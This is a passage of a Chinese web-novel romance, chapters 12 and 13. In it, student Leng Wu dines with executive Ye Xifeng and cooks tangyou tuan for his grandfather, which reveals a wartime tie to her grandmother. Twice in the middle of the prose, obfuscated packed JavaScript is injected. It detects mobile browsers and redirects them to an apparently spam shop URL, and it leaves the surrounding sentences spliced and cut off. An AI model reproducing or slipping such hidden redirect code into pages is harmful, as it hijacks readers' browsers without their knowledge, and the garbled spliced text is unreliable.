军训时,就有不少男生来问冷梧要联系方式。就连班助陈徽,都时不时会发来信息,约她出去吃饭。 “我有男朋友了。”面对示好者,冷梧微笑婉拒。 她和全嵘虽是异地,但每晚都会通电话礼物像流水一样砸来,她则照单全收。 礼物多了,堆在宿舍里,人来人往的,难免被人瞧见。 这天晚上,冷梧回到宿舍,与开门的苗月迎面撞上。后者离开时,意外蹭过她的肩。 冷梧感到莫名其妙,谈星偷偷告诉她:“喏,你男朋友是三天两头就给你买礼物。什么LV、宝格丽……宿舍就你和苗月在谈恋爱,这有了比较,她正闹着让男朋友给买包呢。” 12. 12你我 谈星望着门,八卦地说:“她男朋友不乐意,两个人刚在电话里吵了一架。” 冷梧了然,并不在意苗月的看法。 “如果因为这个讨厌我,那就随她去吧。”她神色平淡。只怕苗月的眼泪,还没她脖上的卡地亚18分飞碟项链璀璨。 这是苗月的课题,不是她的课题。她没必要因为苗月的感受而刻意低调。 冷梧决定搬出去住。谈星也有意向,于是一拍即合,有空就去寻觅房源。 这个礼拜课少了一点,星期三早上只有两节课,下课后是十点。冷梧拎着纸袋,打车去墨芯科技。 说是墨芯科技,实际是实业集团。集团创始人叶进忠于八十年代退役后,创建并壮大了实业集团。而墨芯科技,正是如今集团的核心子公司,专注于高端芯片、半导体材料与芯片制造关键设备的研发。 此刻冷梧站在高楼下,见集团内壁镌刻着八个大字:产业报国,科技引领。 这样的集团不能轻易进入。她去附近的星巴克坐着,吹着空调给他打电话。 第一次没接,隔十分钟后,她再次拨打。如果这次不接,那就改天吧。 这次倒没让她等多久,电话很快接通:“你好。” “叶总您好。我是冷梧,”她简单言之,“我来给您还衣服。” 他的声音带着磁性,隔着手机屏幕,微微在她耳边震动:“稍等。”那头安静下来,电话却没挂断。几十秒后,他开口,“你在门口稍候,我让人下去接你。” 冷梧喝完咖啡,刚走到集团大门,一个干练女助理向她走来,大方有礼:“您是冷小姐吧?叶总请您上去。” “谢谢。” “叫我Lisa好。”女助理带她往里走,刷卡进入右边电梯。升到二十八楼后,电梯门开,入眼就是宽敞的办公室。原来这是个私人直达电梯。 明明是全屋玻璃,室内却有些幽暗,让她想到一个颜色:黑。 Lisa带她往里走,越过绿植,长宽的办公桌显现。桌后,男人微微垂头,深灰色衬衣不系领带,松开两颗扣子,露出颀长的脖子。 “叶总,冷小姐到了。”Lisa微笑提醒,又对冷梧说,“您想喝什么吗?” “红茶,谢谢。”冷梧声音很轻。 “冷梧。”叶西风抬头,他的咬字很别致,像是在念一首古诗。 “叶总您好。这是您的衣服。”冷梧将纸袋交到Lisa手里,“谢谢。” Lisa接过后,从办公室的另外一扇门离开。 “你先坐。”叶西风说,“喝杯茶吧。” 冷梧走向沙发区,Lisa神速入内,端着红茶进来,温柔地说小心烫。 既然衣服已经送到,那就喝完茶再走。 一杯茶喝完,眼看快中午十二点。冷梧从沙发上站起,刚准备开口辞行,叶西风竟也从椅子上站起。 他很高,腿也很长,三步作两步地绕过办公桌,“快十二点了,要一起去用午餐吗?”随后又补充,“没有门禁卡,是刷不开电梯的。” 目光和煦,眼角带笑地望着她。 冷梧并未推辞,大大方方:“那就托叶总的福。” “走吧。”他穿上西服外套。电梯门开,他说女士优先。 可二人没有并肩而立。 她有一米七,却刚到他下巴处。不知是西装的缘故,还是他身材不错,站在她身后时,肩宽得能完全笼罩住她。 密封的电梯,黑西装男人与白裙子少女。 恍惚之间,冷梧嗅到了很清淡的男士香水味。和当初一模一样。 · 电梯直达地下停车场,司机早已在此等候,是个三十岁左右的男子。他认出冷梧,叫了声冷小姐好。 冷梧点头致意。 上车后,叶西风说了个地名,司机立刻发动车子,载着二人从公司出发。 半小时后,车停在一座隐蔽院子前,四周种着梧桐树。九月底,叶子仍然翠绿。树木高大,平静又坚韧。 侍应生出来迎接,尊敬地说叶总,这边请。 “走吧。”叶西风回头看她一眼。 冷梧跟在他后面走,这是座园林风格的建筑,长廊临水而立,一群红黄鲤鱼随波游动。当真是日光下澈,影布石上,皆若空游无所依。 侍应生推开门,包间竟是凭栏而设,原来湖水横跨了整个院子。房中的明式多宝格摆着炉瓶三事,冷梧觉得稀奇,寻常的炉瓶三事大多摆在案上,刘棠请人喝茶就是如此。 她头一回见摆在架上,物品错落有致,倒是别出心裁。 桌子虚靠在窗边,外面不是鱼景,而是一池秋荷。侍应生端来菜单,叶西风以女士优先为由,让冷梧先点菜。 她婉拒,将选择权推了回去。 叶西风点了一道,示意她点自己喜欢吃的。她这才看向菜单。他点的菜是最贵的,给她留足余地。刘棠以前说:“这点菜呀,得东道主点第一道。他点的是什么价位,后面点菜的人,就不能超过他点的那一道。知道了吗?” 冷梧翻开菜单一笑,这是家粤菜馆。她好久没吃粤菜了,宁艺食堂不怎样,她和谈星大多数是去附中吃饭。 象征性点了两道价位合适的菜,她还是让叶西风做主。 他低声点好后,再次看向她:“有什么忌口吗?” “我不吃蒜,谢谢。”冷梧微笑,目光不由往向窗外。九月底,荷叶慢慢泛黄,荷花也不复暑日风华,在即将来临的初秋里,显得宁静又孤独。 “我没想到,你真的考上了宁艺。”叶西风轻而一笑。 冷梧闻言回首,“我也没想到,叶总还记得我。” “因为危险,所以记得。”他双手交叠,目光越过窗外,落在暮绿微黄的荷叶上。 冷梧微愣,不过转念一想,当初差点被车撞,任谁都难忘。 “大学生活还习惯吗?”叶西风另起新话题。 冷梧客气回复:“习惯,但课很多。不然,也不会隔了这么久,才将衣服还给您。真是不好意思。” 谈话间,侍应生陆续进来上菜,二人就此止住,安静无言地结束了这餐饭。 粤菜倒还正宗,冷梧却吃得不多。她一直认为食物只是用来维系生命。况且,食欲最难抑制,一旦多吃,就会多念。不然吃喝嫖赌,吃怎么会放在第一位? 叶西风接了个电话:“老爷子要吃糖油团?上回那个厨师做得不合心意——好,我知道了。再找个新厨师吧。今晚就想吃?——嗯,我今晚回去。” “糖油团……”冷梧自言自语。 叶西风“嗯?”了一声,她这才如梦初醒,“没什么,我只是想到了外婆。不知道是不是同一种东西,软糯糯的,没有脆壳,挂着浓浓的红糖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500961|202728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 叶西风轻轻扬眉,“你知道?” “难道湖南的糖油团也和宁城一样吗?” “不一样,只是我爷爷想吃的样式,在宁城找不到。”他无奈,回味着她的话,突然问:“你外婆是湖南人?” “是啊。她老人家喜欢做这个。” “冒昧问一下,你会做糖油团吗?” “会也不会。我就会把红糖融化,然后倒在团子上。”冷梧坦率。 叶西风略一沉吟:“是这样的。我爷爷想吃糖油团,今晚非吃不可。老人家年纪大了,脾气返老还童。你可不可以帮我一个忙?就试试看。” 这倒是出乎冷梧意料。见他目光诚恳,她想了一下,说:“我可能做得不好吃。” “没关系。”叶西风笑,“无论好不好吃,我都会领你这个情。” 事已至此,冷梧便答应下来,全了这位孝孙的心。 “谢谢。我下午还有工作,你下午有课吗?如果有课,我让司机送你回去,傍晚再去接你。”叶西风抬腕看表,温和地说,“如果没课,要不要去公司坐坐?” 冷梧下午没课,现在是两点,回到学校大概是三点。待不了多久,就又要出去。她懒得折腾,便答应他和回墨芯。 办公室里,他礼貌询问:“要喝点什么?” “冰美式吧,谢谢。” 她走到沙发,前面是巨大落地窗。站在这里,几乎能将宁城尽收眼底。 立于高层之上,随时俯瞰世界。 真好。 “冷小姐,这是您要的冰美式,请慢用。”冷梧回过神,还是那个干练助理Lisa,正面带微笑,将杯子放在桌上。 冷梧坐在沙发上,打开随身携带的平板,开始寻找苏州园林的资料。目前市里有个文创比赛,老师鼓励学生们积极报名,她和谈星组成了小队参加。 两人一拍即合,提取花窗特色元素做文创产品。才查了一会资料,手机蓦地震动。 她望了眼叶西风,他在聚精会神办公,便轻轻走出去。 “全嵘,嗯?” “小梧,我好想你,”全嵘气音委屈,“我等不到月底了,这个礼拜就飞去宁城看你。” 冷梧站在玻璃前,轻轻抬起脚尖,在地上画圈,“你什么时候来?” “这周末。” “那我们去苏州玩怎么样?去逛逛园林。” “听你的,都听你的。”全嵘百依百顺,隔空索吻,“亲亲。” 小情侣还在热恋期,饶是冷梧心性岑寂,不过才十八岁,因此不禁说:“全嵘,你真讨厌。” “不讨厌,我才不讨厌。”全嵘笑道,“你有没有想我?说嘛,说嘛……” 叶西风站在玻璃前,单手举着咖啡杯,望向单面玻璃外的冷梧。 她双颊微红,指尖贴在玻璃上,一言一行很是灵动。玻璃墙的隔音做得很好,叶西风听不到她在说什么。 一面玻璃墙,外面是情窦初开的少女,里面是泰然自若的男子。 真是个漫长的电话。 叶西风淡淡一笑,饮下咖啡,随后回到座位上。 冷梧还在和全嵘通电话,他实在缠人,一直追问想他没有。 “我想你。”她不自觉勾唇。 不远处,总助办公室前台里,新来的助理好奇窥视,“那位是叶总的女朋友?” 13. 13烛影 “如果不想被炒,就闭上嘴。”女秘书声音利落,“还有,收起你的眼睛。BOSS的事,不是你可以随意揣测的。如果明天公司出现传闻,你会立刻离开这里。然后慢走不送。” 小助理立刻噤声。 冷梧与全嵘在电话里约定好,这个周末去苏州玩。 她脚步放得很轻,办公室内,叶西风仍住专注地处理工作。她打开平板,又搜索苏州园林的资料。 二人并不交谈。 冷梧一旦投入,就会忘记时间,沉浸其中不知所以然。直到整理得差不多,她才舒了口气,揉着肩抬头—— 叶西风不知何时站在她面前。 他肩宽窄腰,西服外套搭在臂上,噙着笑,望着稿子:“是在画园林的平面图?” “叶总......”冷梧略微诧然,很快调整过来,“在收集资料,准备做个有关苏式窗景的文创。” 墙上的挂针指向数字六。玻璃窗外的天空,已是绚烂黄昏。 叶西风立在黄昏中,西裤质地上乘,在日暮下,光泽如湖水,流淌着细腻的波光粼粼。 “老宅有不少古籍与图纸,可以拿给你参考。” “叶总,您太客气了。”她迅速收拾好东西。 电梯直达地库,车前站着两个人。其中一个男人高大沉默,拎着公文包。 “叶总。”他很是恭敬,又对冷梧道,“女士您好。” “刚回来?”叶西风颔首。 “嗯。” “上车吧,回山庄。” 车内暂时寂静,叶西风似乎很忙,仍在在处理文件。 “叶总,鹏程团队的初步调研报告已整理完毕,这是摘要版。详细的原始数据和访谈记录在云端,随时可以调阅。”男人从公文包中抽出文件,递了过去。 他叫董文韬,是叶西风得力助手。 董文韬道:“广东省发布了新文件,目标很明确。” 叶西风用指尖轻叩膝盖:“除了省级计划,鹏城本地有什么实质性动作?” “有,而且很快。鹏城市级的半导体产业投资基金正在快速落地,规模超百亿。但我建议,我们不能仅仅作为被投资方。我们应该主动提出,与鹏城政-府、乃至虹科这样的终端龙头,共同建立一个异构集成联合研发平台。我们出核心技术和团队,他们出应用场景、部分资金和测试环境。这样我们既能深度绑定,又能保持技术主导权,避免沦为普通的供应商。” 冷梧装没听见,但“虹科”两个字跳入耳中,她猛然想起,这不是全嵘家的公司吗? “很好。这样既能规避单纯的政策套利风险,又能真正扎根到它的创新体系里去。最大的挑战是什么?我指的不是技术。”叶西风说。 “人才。”董文韬断言,“现在鹏程的集成电路人才价格,比去年底又涨了30%。但这还不是最关键的,关键是我们总部的资深工程师,是否愿意长期派驻鹏城?还有,该如何避免宁城与鹏城团队的文化割裂。” 叶西风略一沉吟,“你和HR、财务成立一个专项小组,一周内给我一个特区方案。薪资、股权、项目分红都可以打破总部框架。” “明白。”董文韬说。 冷梧不禁侧目,只见叶西风神情凝重,唇线紧绷,与先前的温润截然不同。他迅速翻阅文件与平板,蓝白相间的月相袖扣一晃而过,像天上孤傲的月光。 · 日暮西山,红旗车来到山下,门口的警卫员端正敬礼,从门口到地库,竟还行驶了漫漫一段。出地库后,冷梧发现这是一座大型私人园林。 彼时黄昏消融,四周幽暗,用人举着长竹竿取下悬挂的方正灯笼,一个接一个地点亮,灯笼又被挂回廊上,随着晚风悠悠晃动。 冷梧留意到,灯笼上绘着古画。而长廊曲折,镂空花窗像灯笼转动的每一面,韵味悠长。 主厅悬着一块牌匾,“仰止”二字用颜体书写,雄伟大气。 文妈说:“回来了。老爷子在紫玉堂呢。” 叶西风颔首,回首和她说:“你先坐,喝会茶。文妈,这是我朋友,冷梧。” 文妈早就认出她,友好一笑,并没有说赘词。 冷梧见老人家有六七十岁,礼貌地叫了声“文妈”。她自觉是客,绝不主动提做糕点的事。倒不是她拿乔托大,既是受主人之邀,那吃晚饭才是正事。如若上赶着,倒显得专门来讨这口饭吃。若是主人还记得,闲谈之下小提,就是朋友间孝敬长辈的意思。 文妈礼数周全地上了茶水与点心,冷梧泰然自若,道了声谢。 叶西风陪她坐,起了个话头:“今晚想吃什么?我让厨房去做。” 她象征性地说了一道菜,其余则客随主便。 二人果真交谈起来,聊了一会后,叶西风笑道:“如果爷爷知道,今天有个小辈给他做心心念念的糖油团,心里指不定多高兴。爷爷有个侄孙女,就和你差不多大,但在英国生活,一年见不了几次。” 这话她听着顺耳,因此笑了:“敢情我是沾叶小姐的光了。” 叶西风笑说:“陪你去厨房吧。要是爷爷喜欢吃,我还能借机邀功。” 冷梧打趣:“叶总,你这也太不厚道。”可他说的话,她却不恼,知道他是在照顾她。 绕过长廊,过了几道门,一步一景绕得如迷宫。 厨房单独成院。有现成的材料,冷梧凭借记忆中的做法,先将糯米丸子稍微煎了一下,然后再放进熬好的红糖,简单方便,十分轻松。 “多谢。”叶西风笑着将成品放进食盒中,交给用人手里。 来到饭厅,席中-央坐着一位老者,不怒自威,仰首昂眉。他对站着的董文韬说:“小董,没事,坐下一起用饭吧。” “小叶总、冷小姐到了。”有人提醒。 冷梧笑意体面,率先开口:“叶老先生好。”主桌上只有叶老、叶西风和董文韬三人,她开始思考该坐哪里时,叶西风含笑开口:“冷梧,坐我身边吧。” 主人发话,自然是最好的解决办法,冷梧在他身边落座,文妈才开始叫上菜。 “今日是秋分,要吃螃蟹、莲藕和秋菜。要遵循时令用餐,这样才阴阳协调。”叶老道。晚宴的菜品果然与秋分有关,冷梧还是吃不惯宁城菜,但好在今晚的菜没有一道带蒜。 席上无言。到结尾时,用人端上小食盒,正是那道糖油团。其余的甜点是一道桂花酒酿小圆子。 冷梧没动勺,等着叶老先用。 叶老尝了一口团子,倒没说什么,却望着她一会。她心里疑惑,听叶老问:“小姑娘,你是哪里人?” “老先生,我是鹏城人。” “不对,”叶老目光平和,“你的爷爷奶奶、外公外婆是哪里人。” 冷梧更是疑惑,却还是顺话回答:“我祖籍安徽,外祖是湖南人。” “湖南人......”叶老微叹,“可是清山镇人?” 她一瞬间错愕,却很快回道:“我的婆婆是清山镇人,名叫谭宛芳。” 叶老喟叹:“难怪,长得这样像......”随后,在他浑厚的声音中,一段往事随之浮现。 抗战时期,十三岁的叶进忠背着家里秘密从军,他视参军的大哥为榜样,一路跟到湖南。向来养尊处优的公子,也融入军中,一点不怕吃苦。 那个年代,食物匮乏。可有个九岁的女娃娃,用自家糖油做了粑粑,分给新年中的红/军们。在当时,糖油可是稀罕物,这位女娃娃是镇上地主的女儿。她认真说:“我也想参军,想做军医,我认得字!我叫谭宛芳。” 叶进忠拍了拍她的肩头,老气横秋地说:“同志,只要有这份心,一定可以实现!” 可还没等到女娃娃成为军医,就战火四起,军人远赴前线。女娃娃家里做了好多糖油粑粑,塞进这些新兵的怀中。 “你一定可以成为军医的!”临别之际,叶进忠向她挥手。 战时动-乱,一旦分别,也许再也不会相见。他再也没见过那个女娃娃。 “我想问,”叶老变得肃穆,“谭宛芳同志的理想,实现了吗?” 冷梧本以为是错过的情谊,没想到是荡气回肠的理想。“理想”、“实现”两个字震人发聩,激得她心头一沉。 理想何曾容易实现? 太外公死得早,婆婆失去庇佑,钱财被豺狼瓜分。 “我听家里提过,当年成分不好……”冷梧很是唏嘘,不必多说,所有人都明白了。 叶老闪过一丝落寞,冷梧补充:“我婆婆还健在,不久前还去了北京,在天/安/门前见红旗升起。” “无论何时,我们都感激这那颗糖油团,让军里每个人都心头滚烫。”热乎乎,不起眼的食物,却成了维系军民之间的纽带。叶老感慨:“我很高兴,谭同志的理想仍旧永存。” 冷梧笑了一下,“军民鱼水一家亲。” · 用过晚饭,叶西风说到做到,带她去了书房。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500962|202728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与其说是书房,不如说是书院。院中有一棵高大的桂花树,从四方的天往外延伸,桂花落满一地,暗香拂面。 他推开隔扇门,里面是一室藏书。每个书柜旁立着一盏仿古烛台,有种秉烛夜谈的氛围。 “我没记错的话,应该是放在这里。”叶西风越过几个藏书架,最终在其中一个前驻足。空中是书本的味道,冷梧特别喜欢,不由深深吸气。 “找到了。”他抽出几本书籍,放在她手上。书籍是久远的蓝色纸封,繁体字浩浩荡荡占据了右上角。虽然年代久远,却没有一丝灰尘。 “谢谢。”冷梧打开书,借灯翻阅,果然是苏式园林的详注与线稿。 这个藏书室简直是她的梦中情屋,不由多看了两眼。叶西风笑道:“喜欢的话,就拿回学校看。在这里看伤眼睛。” 冷梧走到另一侧书架,上面摆着诗词歌赋集。目光落在辛弃疾的一本诗集上,她轻轻踮起脚,伸手去取。 翻开扉页,里面意外出现一行稚嫩的笔迹。 “……叶西风。”冷梧轻声念道。 “嗯?” 冷梧抬眼,见他靠在书架上,二人不知何时离得很近。 许是最近雕塑画多了,她下意识分析起他的脸。 他是双眼皮,但轻薄窄小。眼位偏高,含笑时,却有一双卧蚕。一张不浓烈的脸,量感不重,面部留白恰好,如古人钟情的含蓄。 不像商人,扮上古装的话,一定是个文臣。 冷梧突然思维跳跃:如果当初联考考题是他,素描估计要栽。美人极难抓特征,若在联考中遇到美女帅哥的人头,场上一定哀声四起。 “冷梧。”他轻轻抬手,在她面前微晃。 她回过神,意识到行为有失,匆匆解释:“不好意思,就是想到联考了。” “我长得很像试卷吗?” “不是。因为在美术联考中,长得好看的人一般都不好画,一旦抓不住特征,就很难从试卷中脱颖而出。” 冷梧低头翻书,发现这是一本手抄的辛弃疾诗集。 “叶西风,这不会是你抄的吧?” 这可是点名道姓,但他听后不恼,反而笑道:“小时候惹爷爷生气,他老人家就会罚我抄书。什么书都抄,从四书五经开始,到每朝的诗文大家。” “你竟然会惹老先生生气?”冷梧好奇。 叶西风微微笑道:“玉不琢,不成器。” 她心道:自夸。 “没见过叶总顽皮的样子。”冷梧打趣,眉眼在烛光中很是温柔。 “其实你可以叫我全名。”他一笑,“我们本来就是同辈。” 冷梧微愣,叶西风这三个字平仄得宜。而叶东风、叶北风念起来,都少了那份意境。仿佛落叶注定要西行,这是传统诗文歌赋中,最经典的意蕴。 “叶西风。”她静静念,舌尖抵着牙齿,念起来自带轻柔与悱恻。 “嗯。”烛影摇动,笼罩在他缱绻的眉眼之间。他缓缓回应。 “叶西风。”冷梧又念了一遍,你的名字真好听。” 他又应了一遍。 “我该走了。”冷梧说。已经九点了,再不回学校,怕是要错过门禁。 “我让人送你回去。”叶西风打了个电话,“小董,你送冷小姐回学校吧。你也好好休息。” 冷梧与他道别,在用人的陪伴下去地库。 “您叫我小董就好了。”董文韬说话客气,“我是叶总的总助。” 总助的分量可不低,她说:“不敢。还是称呼您为董助吧。” 董文韬一笑:“那好。冷小姐,我送您回学校吧。” 冷梧将头靠在车窗,一辆辆汽车尾灯像彩带飘在眉中。董文韬开车又快又稳,很快将她送回虹桥。 “麻烦董助走这一趟了。”冷梧学着刘棠的模样交谈。 一辆网约车在大门前停下,两个领着购物袋的女孩走下来,竟是苗月与李莎华。 董文韬站在车边,西装制服半隐在黑夜中。 “这是我的分内事,冷小姐何须客气。” “您慢走,路上小心。”冷梧说,见苗月目光奇怪,拉着李莎华匆匆离开。 她没放在心上。回到宿舍后,气氛却像凝固着,仿佛音乐会戛然而止。 谈星将她推出去,东张西望后,压低声音说:“你知道吗?苗月说你背着男朋友勾-搭男人,亲眼见到你从迈巴赫上下来!” 冷梧突兀地冷笑一声。